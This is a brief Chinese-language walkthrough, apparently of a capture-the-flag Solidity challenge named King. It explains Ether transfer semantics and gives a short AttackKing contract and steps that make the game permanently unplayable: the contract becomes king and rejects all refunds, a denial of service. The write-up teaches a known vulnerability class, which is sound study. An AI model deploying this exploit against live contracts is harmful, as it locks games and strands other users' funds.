King
King.sol
- 让游戏无法进行
transfer()/send()函数,都可以实现资金转移,并且只会传递2300用于转账的gas,避免接收方用剩余gas做额外的操作
transfer()转账失败的话,整笔交易回滚
send()转账会返回 bool 类型标识,转账失败的话,返回false,但是不会回滚交易
call()转账可以指定gas,返回bool和data,并且转账失败的话不会回滚整笔交易
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
King 合约类似庞氏骗局,在场中的会获取新进场的资金
payable(king).transfer(msg.value);,资金从合约转到 旧King
- Sender成为
新King,等待别人以更高资金接盘
- 转账方式采用
transfer(),转账失败会导致交易回滚
- EOA地址可以接收/转账任意资产
- 合约地址接收Ether需要有以下任一函数
receive() external payable { }
payable修饰的fallback(): fallback() external payable { }
- 准备一个攻击合约,合约可以在部署阶段接收Ether,但是部署过后不能正常接受Ether
- 攻击合约向目标合约转账,成为目标合约的
新King
- 由于攻击合约不存在接收资产的默认函数,因此任何转账操作都会失败
- 目标合约中任何更高转账的操作都会回滚失败,因为 攻击合约作为
旧King无法接收新King的资金
contract AttackKing {
constructor() payable {}
function attack(King _king, uint256 value) public payable {
payable(address(_king)).call{value: value}("");
}
}
- 部署
AttackKing合约,在部署阶段存入Ether
- 调用
AttackKing合约的attack()函数,底层call King合约
- 此时,
King合约下的king地址更新为AttackKing合约
- 此后,任意地址的转账行为都会失败,因为 作为
旧king的 AttackKing合约不支持转账操作